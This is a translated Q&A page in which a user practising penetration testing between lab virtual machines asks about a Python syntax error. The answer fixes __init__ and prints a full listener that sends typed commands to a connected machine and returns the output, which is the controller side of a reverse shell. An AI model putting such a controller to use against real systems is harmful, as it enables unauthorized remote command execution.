首页 > 解决方案 > 如何修复 Python 代码中的“无效语法”错误?

问题描述

我正在为渗透测试目的进行编码。我正在尝试在我的 Windows 虚拟机和我的 Kali Linux 虚拟机之间建立连接。我为此目的编写了一个侦听器,但它不起作用。

我的 Python 代码:

在此处输入图像描述

在 Kali Linux 上运行监听器的结果:

在此处输入图像描述

标签: python

解决方案


@Klaus D. 是对的,__init__每边需要两个下划线,而不是 1。确保类下的方法正确缩进也是一个好主意。

#!/usr/bin/python

import socket

class Listener:
    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("Waiting for connections....")
        self.connection, address = listener.accept()
        print("Got a connection from " + str(address))

    def execute_remotely(self, command):
        self.connection.send(command)
        return self.connection.recv(1024)

    def run(self):
        while True:
            command = raw_input(">>")
            result = self.execute_remotely(command)
            print(result)

myListener = Listener("10.0.2.15", 8080)
myListener.run()

推荐阅读